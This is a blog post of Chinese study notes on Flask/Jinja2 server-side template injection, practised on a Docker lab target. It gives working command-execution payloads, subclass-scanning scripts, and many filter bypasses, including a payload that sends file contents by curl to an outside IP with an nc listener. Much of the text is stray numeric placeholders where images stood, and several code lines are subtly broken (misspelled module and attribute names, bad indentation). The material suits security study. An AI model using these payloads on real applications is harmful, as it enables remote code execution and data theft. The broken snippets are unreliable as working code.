SSTI漏洞总结学习

前言

观看B站教学视频重庆橙子科技 的笔记,个人认为质量很好,记录一下。

靶场部署

docker地址

mcc0624/flask_ssti:last

部署

前提是你服务器已经安装了docker,还有提一点,注意云服务器安全组的配置
拉取镜像

docker pull mcc0624/flask_ssti:last

查看镜像
123
此时已经拉取到本地

指定端口运行容器并且进入命令行
docker run -p 18022:80 -i -t mcc0624/flask_ssti:last bash -c '/etc/rc.local; /bin/sh'

开启/关闭容器

开启
docker run -p 8888:80 -t mcc0624/flask_ssti:last
关闭
docker stop imageid

Python venv

可以把它想象成一个容器,该容器供你用来存放你的Python脚本以及安装各种Python第三方模块,容器里的环境和本机是完全分开的(就像你在Windows主机上通过Vmware跑一台Ubuntu或者CentOS的虚拟主机一样),也就是说你在venv下通过pip安装的Python第三方模块是不会存在于你本机的环境下的。

安装venv

apt install python3-venv

创建venv环境安装flask
进入/opt目录,运行命令:

python3 -m venv flask1
cd fl*
l
这里包含python虚拟环境的组件
1

此时咱们在/opt目录创建一个文件demo.py
然后执行文件

python3 demo.py
123

请注意,这里使用的物理主机的python环境执行的,那么我们如何使用虚拟的python环境来执行这个文件呢?

执行flask1路径下的python
123

这时就是用虚拟的python环境执行该文件
当然还可以这样

cd flask1
进入虚拟环境
source ./bin/activate
退出虚拟环境
dactivate

虚拟环境下安装flask以及应用

安装

pip install flask

应用

vim demo.py

from flsak import Flask
app=Flask(__name__)

@app.route('/')
def hello():
    return "hello benben"

if __name__=='__main__':
    app.run(host='0.0.0.0')

这个时候默认端口为5000
如果你想要改变端口那就修改文件

from flsak import Flask
app=Flask(__name__)

@app.route('/')
def hello():
    return "hello benben"

if __name__=='__main__':
    app.run(host='0.0.0.0',port=80,debug=True)

如果想要开启debug模式,只需加上debug=True

Flask变量规则

通过向规则参数添加变量部分,可以动态构建URL。此变量部分标记为。它作为关键字参数传递给与规则相关联的函数。

在以下示例中,route()装饰器的规则参数包含附加到URL ‘/hello’的。因此,如果在浏览器中输入http://localhost:5000/hello/w3cschool作为URL,则'w3cschool'将作为参数提供给hello()函数。

from flask import Flask
app = Flask(__name__)
 
@app.route('/hello/<name>')
def hello_name(name):
   return 'Hello %s!' % name
 
if __name__ == '__main__':
   app.run(debug = True)

123
除了默认字符串变量部分之外,还可以使用以下转换器构建规则:
1

from flask import Flask
app = Flask(__name__)
 
@app.route('/blog/<int:postID>')
def show_blog(postID):
   return 'Blog Number %d' % postID
 
@app.route('/rev/<float:revNo>')
def revision(revNo):
   return 'Revision Number %f' % revNo
 
if __name__ == '__main__':
   app.run()

Flask HTTP方法

123

GET

GET方法用于从服务器获取数据。它没有请求体,所有参数都包含在URL中。在Flask中,我们可以使用route装饰器来定义GET路由。例如,以下代码演示如何定义一个简单的GET路由:

from flask import Flask

app=Flask(__name__)

@app.route('/user/<username>',methods=['GET'])
def get_user(username):
    return 'Hello,%s!'% username

if __name__=='__main__':
    app.run(debug=True,host='0.0.0.0')

123

POST

POST方法用于向服务器提交数据。在Flask中,我们可以通过route装饰器将POST路由关联到视图函数。以下是一个简单的POST路由的示例:

from flask import Flask,request

app = Flask(__name__)

@app.route('/user',methods=['POST'])

def create_user():
    json_data=request.get_json()
    name=json_data['name']
    email=json_data['email']

    return 'User created successfully'

if __name__=='__main__':
    app.run(debug=True,host='0.0.0.0')

123

PUT

PUT方法用于向服务器更新数据。在Flask中,我们可以通过route装饰器将PUT路由关联到视图函数。以下是一个简单的PUT路由示例:

from flask import Flask, request

app = Flask(__name__)

@app.route('/user/<id>', methods=['PUT'])
def update_user(id):
    json_data = request.get_json()
    name = json_data['name']
    email = json_data['email']
    # ... code to update user ...
    return 'User updated successfully'

if __name__ == '__main__':
    app.run(debug=True,host='0.0.0.0')

456

DELETE

DELETE方法用于从服务器删除数据。在Flask中,我们可以通过route装饰器将DELETE路由关联到视图函数。以下是一个简单的DELETE路由示例:

from flask import Flask

app = Flask(__name__)

@app.route('/user/<id>', methods=['DELETE'])
def delete_user(id):
    # ... code to delete user ...
    return 'User deleted successfully'

if __name__ == '__main__':
    app.run(debug=True,host='0.0.0.0')

789

Flask模板介绍

介绍:Flask模板的介绍与使用
46

#app.py
from flask import Flask, render_template,request

app= Flask(__name__)

@app.route('/')
def index():
    my_str=request.args.get('ben')
    my_int=123
    my_array=[1,2,3,4]
    my_dict={
        'name':'daming',
        'age':18
    }
    return render_template('index.html',my_str=my_str,my_int=my_int,my_array=my_array)

if __name__=='__main__':
    app.run(debug=True)
#创建一个目录templates,目录下创建文件index.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
模板html展示页面
<br>
{{my_str}}
</body>
</html>

456

漏洞

456
456

继承关系

456
在 python 中,类之间是会有继承关系的,也就是派生类(子类)与基类(父类)的关系,这可以理解为父子关系。在这个父子关系中的最高级,就是 object 。也就是说,object 是祖宗类。
一般来说,SSTI 构造 payload 的思想,就是要通过各个数据类型 Numbers(数字)String(字符串)List(列表)Tuple(元组)Dictionary(字典) 这些子类,一直往上找到 object ,然后再通过找 object 类可以利用的子类。可以利用的子类,就是这个子类的方法(popen() eval()等方法)或属性可以利用。

写一个代码理解一下

class A:pass #定义了一个名为A的空类
class B(A):pass #定义了一个名为B的类,它继承自A类
class C(B):pass #定义了一个名为C的类,它继承自B类
class D(B):pass #定义了一个名为D的类,它继承自B类
c=C() #创建了一个C类的实例c

这里将C类实例化为一个对象,打印出实例c的类对象

print(c.__class__)# __class__ 是一个特殊的属性,用于获取对象的类
#结果<class '__main__.C'>
print(c.__class__.__base__)
#结果<class '__main__.B'>
print(c.__class__.__base__.__base__)
#结果<class '__main__.A'>
print(c.__class__.__base__.__base__.__base__)
#结果<class 'object'>

最终指向就是Object
还有一种方法可以去显示出来

print(c.__class__.__mro__)# __mro__ 是一个特殊的属性,用于获取一个类或实例的方法解析顺序(Method Resolution Order
#结果(<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
print(c.__class__.__mro__[0])
#结果 <class '__main__.C'>
print(c.__class__.__mro__[1])
#结果 <class '__main__.B'>

123

魔术方法

__dict__ 保存类实例或对象实例的属性变量键值对字典
__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

检查漏洞

546
789
456

常用注入模块

123

文件读取

python脚本:POST提交”name“的值,通过for循环查找所需字符串

import requests
url=input('请输入URL链接:')
for i in range(500):
    data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
    try:
        response=requests.post(url,data=data)
        #print(response.text)
        if response.status_code==200:
            if '_frozen_importlib_external.FileLoader' in response.text:
            	print(response.text)
                print(i)
    except:
        pass

脚本灵活运用,按照实际情况修改
123
123
123
123

命令执行

内建函数:python在执行脚本时自动加载的函数
脚本:

import requests
url=input('请输入URL链接:')
for i in range(500):
    data={"name":"{{().__class.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
    try:
        response=requests.post(url,data=data)
        #print(response.text)
        if response.status_code==200:
            if 'eval' in response.text:
                print(i)
    except:
        pass

123

{{self.__dict__._TemplateReference__context.keys()}}
显示出当前目录有哪些内置的对象和函数
123
123
456
123
456
123
123

绕过过滤双大括号

123
123
456

456

无回显SSTI

123
123
789

123

getitem绕过中括号过滤

正常使用[]
{{''.__calss__.__base__.subclasses__()[117]}}
使用getitem绕过
{{''.__calss__.__base__.subclasses__().__getitem__(117)}}
123

request绕过单双引号过滤

123
123 123
456
456

过滤器绕过下划线过滤

123
789
456
123
456
789
789
789

中括号绕过点过滤

789

绕过关键字过滤

456
12
456
789
789
456

绕过数字过滤

示例代码:

#app.py
from flask import Flask, render_template
app=Flask(__name__)

@app.route('/',methods=['POST','GET'])
def show1():
    return render_template('index.html')

if __name__=='__main__':
    app.run(host='0.0.0.0',port=5000)
index.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <style>
        .a{color: red;
        font-weight: bold;

        }
    </style>
</head>
<body>
<br>
字符串个数:{% set a='aaaaaaaaaa'|length*'aa'|length*'aaa'|length %}{{a}}
</body>
</html>

789
789

获取config文件

789
12

混合过滤绕过介绍

789
789
123
789
123

利用编码绕过

我们可以利用对关键字编码的方法,绕过关键字过滤,例如用base64编码绕过:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}

等同于:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

可以看到,在payload中,只要是字符串的,即payload中引号内的,都可以用编码绕过。同理还可以进行rot13、16进制编码等。

利用Unicode编码绕过关键字(flask适用)

我们可以利用unicode编码的方法,绕过关键字过滤,例如:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}

等同于:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

利用Hex编码绕过关键字

和上面那个一样,只不过将Unicode编码换成了Hex编码,适用于过滤了“u”的情况。

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}

等同于:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

利用引号绕过

我们可以利用引号来绕过对关键字的过滤。例如,过滤了flag,那么我们可以用 fl””ag 或 fl’’ag 的形式来绕过:

[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()

参考以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用

flask过滤练习

flask无过滤

这个是没有任何过滤,采用的是flask框架的jinja2模板,
先拿它做实验
首先获取空字符串对象的基类object

code={{''.__class__.__base__}}
或者code={{().__class__.__base__}}

获取基类object的所有子类
根据常用注入模块我们查找是否含有<class 'os._wrap_close'>
789
这个时候找到<class 'os._wrap_close'>对应的编号,将所有子类复制出来按行排列,由于记事本是从1行开始排列,而我们计算子类是从0开始,显示在118行,对应编号为117

Python中索引是从0开始的
请注意,由于__subclasses__()方法返回的是当前运行时所有直接子类的列表,具体的子类顺序可能会随着Python版本、实现和环境的变化而有所不同。因此,这段代码的具体输出将取决于你运行的Python环境。

789

code={{().__class__.__base__.__subclasses__()[117]}}

456

访问该子类的 __init__ 方法的__globals__属性。
发现有os函数
123
在这里可以直接使用

code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__.popen("ls").read()}}

或者使用__builtins__

code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']}}

789
利用内建函数eval
code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
1
code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
789

过滤双大括号

这里过滤了{{}},你可以使用{%print()%}
code={%print(8*8)%}
成功回显64,后面步骤一样

code={%print(().__class__.__base__.__subclasses__()[117].__init__.__globals__.popen("ls").read())%} code={%print(().__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"))%}

也可以使用 {% if ... %}1{% endif %} 配合 os.popencurl 将执行结果外带(不外带的话无回显)出来

1、服务器监听端口:

nc -lnvp 80
2、payload:
{% if config.__class__.__init__.__globals__['os'].popen('curl http://8.130.xx.xx:80/`cat /f*`').read()=='p' %}1{% endif %}

789

flask无回显

1、服务器监听端口:
nc -lnvp 80
2、payload:
{% if config.__class__.__init__.__globals__['os'].popen('curl http://8.130.xx.xx:80/`cat /f*`').read()=='p' %}1{% endif %}

789

过滤中括号

这里只是过滤了[]
如果没有任何过滤就直接到

{{().__class__.__base__.__subclasses__()[117].__init__.__globals__.popen("ls").read()}}但是这里需要绕过`[]`
{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.popen("ls").read()}}

789

过滤了单、双引号

这里可以利用request对象绕过详细解释

code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.a](request.args.b).read()}}
#然后get传参a=popen&b=ls

123

过滤下划线

这个题目过滤了下划线,也就是说__class__等带下划线的都不能输入,还可以使用上面的方法request对象绕过,比如说要输入{{''.__class__}}那就可以这样

code={{''[request.args.a]}} #然后get传入__calss__

123
以此类推:

code={{''[request.args.a][request.args.b]}}#?a=__class__&b=__base__
code={{''[request.args.a][request.args.b][request.args.c]()}}#?a=__class__&b=__base__&c=__subclasses__
code={{''[request.args.a][request.args.b][request.args.c]()[117][request.args.d][request.args.e].popen('ls').read()}}#?a=__class__&b=__base__&c=__subclasses__&d=__init__&e=__globals__

456

过滤了.模板注入

attr()函数

flask框架的jinja2模板中如果.被过滤了那么可以使用原生jinja2的attr()函数。
比如:

code={{''.__class__}}
#改写为
code={{'' |attr("__class__")}}
#那么
{{().__class__.__base__.__subclasses__()[117]}}
#就可以改写为
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(117)}}#注意这里不能直接[117],别问为什么,我试了不行
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(117)|attr("__init__")|attr("__globals__")|attr("popen")("ls /")|attr("read")()}}
#按理说这样就可以了,可是我测试了发现过不去哎

利用中括号[ ]绕过

{{''["__class__"]["__base__"]["__subclasses__"]()[117]["__init__"]["__globals__"]["popen"]("ls")["read"]()}}`
也就是
`{{().__class__.__base__.__subclasses__()[117].__init__.__globals__.popen("ls").read()}}
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信